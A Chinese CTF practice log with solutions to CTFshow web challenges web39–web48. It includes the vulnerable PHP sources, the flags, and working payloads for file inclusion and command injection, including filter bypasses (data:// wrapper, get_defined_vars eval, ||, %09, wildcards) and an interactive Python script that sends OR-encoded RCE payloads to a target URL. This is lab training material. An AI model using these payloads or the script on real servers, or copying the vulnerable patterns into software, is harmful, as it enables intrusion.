题目来源:CTFshow

练习时间:2026年2月6日

练习数量:10

⭐️ 11 web39

🚩flag:ctfshow{9bcc229d-a475-4c4a-a635-def2043c1af1}

💡hint:文件包含

题目:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 06:13:21
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}

}else{
highlight_file(__FILE__);
}

对比第37题:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;

}

}else{
highlight_file(__FILE__);
}

37用的exp:

?c=data://text/plain,<?php system("tac fla*.php")?>

39也可以直接用


⭐️ 12 web40

🚩flag:ctfshow{dc4914b8-ae2e-4fcb-bf8c-c783ad90a1a0}

💡hint:文件包含

题目:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/


if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

禁用了很多符号。
但是括号是中文括号,调用各种函数即可。
exp:

c=eval(next(reset(get_defined_vars())));&pay=system("tac flag.php"); 
```//get_defined_vars()用于以数组的形式返回所有已定义的变量值(包括URL屁股后面接的pay),这里源码只定义了一个变量即c,加上你引入的pay就两个变量值了。reset用于将指向返回变量数组的指针指向第一个变量即c,next向前移动一位指针即pay,eval执行返回的值就是咱们定义的恶意代码。这边去掉system()函数前的分号了,也能出结果。

---

## ⭐️ 13 web41

🚩flag:`ctfshow{01e74f87-a4d0-4850-b28a-b4dc5cdf8a6a}`

💡hint:`文件包含`

```php
<?php

/*
# -*- coding: utf-8 -*-
# @Author: 羽
# @Date: 2020-09-05 20:31:22
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:40:07
# @email: 1341963450@qq.com
# @link: https://ctf.show

*/

if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>

现在是连字母也不能用了
参考羽神题解:https://blog.csdn.net/miuzzx/article/details/108569080
这个题过滤了$、+、-、^、~使得异或自增和取反构造字符都无法使用,同时过滤了字母和数字。但是特意留了个或运算符|。
我们可以尝试从ascii为0-255的字符中,找到或运算能得到我们可用的字符的字符。
这里先给出两个脚本 exp.py rce_or.php,大家以后碰到可以使用或运算绕过的可以自己手动修改下即可。
生成可用字符的集合

<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}

else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);

exp.py

# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php") #没有将php写入环境变量需手动运行
if(len(argv)!=2):
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("="*50)
exit(0)
url=argv[1]
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)

while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)

经过修改后的无需php环境的python脚本如下:

# -*- coding: utf-8 -*-
import re
import sys
import requests
import urllib.parse

# 等价于 PHP: /[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i
BAD_RE = re.compile(r"[0-9a-z\^\+\~\$\[\]\{\}\&\-]", re.I)

def is_bad_byte(b: int) -> bool:
# PHP hex2bin 得到的是 1 字节,这里转成单字符做正则匹配
ch = bytes([b]).decode("latin-1", errors="ignore")
return BAD_RE.search(ch) is not None

def build_or_map():
"""
构建映射:可打印字符 chr(c) -> (a, b)
其中 a,b 为 '%xx' 形式,且 byte(x) 和 byte(y) 都不匹配 BAD_RE,
并且 (x | y) == ord(c)
"""
m = {}
for i in range(256):
if is_bad_byte(i):
continue
for j in range(256):
if is_bad_byte(j):
continue
c = i | j
if 32 <= c <= 126:
ch = chr(c)
# 和你原版一致:找到第一个就用(原版读文件逐行也会拿到第一个匹配)
if ch not in m:
a = f"%{i:02x}"
b = f"%{j:02x}"
m[ch] = (a, b)
return m

def action(or_map, arg: str) -> str:
s1 = ""
s2 = ""
for ch in arg:
if ch not in or_map:
raise ValueError(f"字符 {repr(ch)} 无法在 OR 映射中找到可用组合(可能需要调整过滤规则)")
a, b = or_map[ch]
s1 += a
s2 += b
return f"(\"{s1}\"|\"{s2}\")"

def post_payload(url: str, payload_expr: str):
"""
你的原脚本是:
data={'c': urllib.parse.unquote(param)}
但 requests 在 form 编码时会把 '%' 再编码成 '%25',
所以原脚本用 unquote 把 %xx 变成原始字节,再由 requests/form 编码发送。

这里我们更稳:手动构造 application/x-www-form-urlencoded body,
确保字节层面的行为一致。
"""
# 把 "....%xx...." 里的 %xx 解码成原始字节
raw_bytes = urllib.parse.unquote_to_bytes(payload_expr)

# 再把这些原始字节编码成 x-www-form-urlencoded 需要的 percent-encoding
encoded_c = urllib.parse.quote_from_bytes(raw_bytes, safe="")

body = ("c=" + encoded_c).encode("ascii")
headers = {"Content-Type": "application/x-www-form-urlencoded"}

r = requests.post(url, data=body, headers=headers, timeout=15)
return r.text

def main():
if len(sys.argv) != 2:
print("=" * 50)
print("USAGE: python3 exp_or.py <url>")
print("eg: python3 exp_or.py http://ctf.show/")
print("=" * 50)
sys.exit(0)

url = sys.argv[1].strip()
print("[*] building OR map (this takes a moment)...")
or_map = build_or_map()
print(f"[*] OR map ready. mapped chars: {len(or_map)}")

while True:
try:
func = input("\n[+] your function:").rstrip("\n")
cmd = input("[+] your command:").rstrip("\n")

param = action(or_map, func) + action(or_map, cmd)
result = post_payload(url, param)

print("\n[*] result:\n" + result)
except KeyboardInterrupt:
print("\n[!] exit")
break
except Exception as e:
print(f"\n[!] error: {e}")

if __name__ == "__main__":
main()

使用方式:

python3 exp_or.py http://xxxx.challenge.ctf.show/

注意使用方式是http而不是https


⭐️ 14 web42

🚩flag:ctfshow{9609c76b-8dcc-44bc-880c-27f4c248582d}

💡hint:无回显RCE 伪装成文件包含 hint 的命令执行
命令注入

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 20:51:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}

等价于在服务器上运行:<c参数内容> >/dev/null 2>&1

即>/dev/null:标准输出丢弃
2>&1:标准错误也重定向到标准输出(一起丢弃)
👉 结果:你执行的命令不会在页面上显示任何输出。

exp:

?c=tac flag.php;

回到题目核心代码:

system($c." >/dev/null 2>&1");

当你访问:
?c=tac flag.php;
服务器真正执行的命令是:
tac flag.php; >/dev/null 2>&1
注意这个结构,是理解的关键。


⭐️ 15 web43

🚩flag:ctfshow{a231be6c-18b8-4910-99a8-fff8e76b59b6}

💡hint:无回显RCE 伪装成文件包含 hint 的命令执行
命令注入

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:32:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

相比于上面的题目,是先添加了一次过滤,然后再执行操作。

过滤了cat、;,那就利用tac命令来打印,“||”分割

||的作用是只执行||前面的命令
所以构造payload

?c=ls||
?c=tac flag.php||

⭐️ 16 web44

🚩flag:ctfshow{ed165c7b-6682-4f1f-9bf9-6444af7a0601}

💡hint:无回显RCE 伪装成文件包含 hint 的命令执行
命令注入

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:32:01
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

过滤了cat flag ;
可以尝试使用fla*

?c=tac fla*.php||

⭐️ 17 web45

🚩flag:ctfshow{1d19bbd5-5511-40d1-855e-69b95a595428}

💡hint:无回显RCE 伪装成文件包含 hint 的命令执行
命令注入

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:35:34
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

外加过滤了空格,可以用%09代替%20

?c=tac%09fla*.php||

⭐️ 18 web46

🚩flag:ctfshow{049b9aba-11aa-40a1-9ca3-ca3a8316fb42}

💡hint:无回显RCE 伪装成文件包含 hint 的命令执行
命令注入

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:50:19
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

还过滤了*号,那么还可以用?号

?c=tac%09fla*.php||

修改为

?c=tac%09fla?.php||

⭐️ 19 web47

🚩flag:ctfshow{06617602-e388-44e0-84e6-90f5c7c325f0}

💡hint:无回显RCE 伪装成文件包含 hint 的命令执行
命令注入

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:59:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

多禁止了一些无关紧要的东西
还是上面的就可以用:

?c=tac%09fla?.php||

⭐️ 20 web48

🚩flag:ctfshow{2167ef99-a574-4124-ad42-c8125325bfaf}

💡hint:无回显RCE 伪装成文件包含 hint 的命令执行
命令注入

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:06:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

同上题

?c=tac%09fla?.php||

今日份结束🔚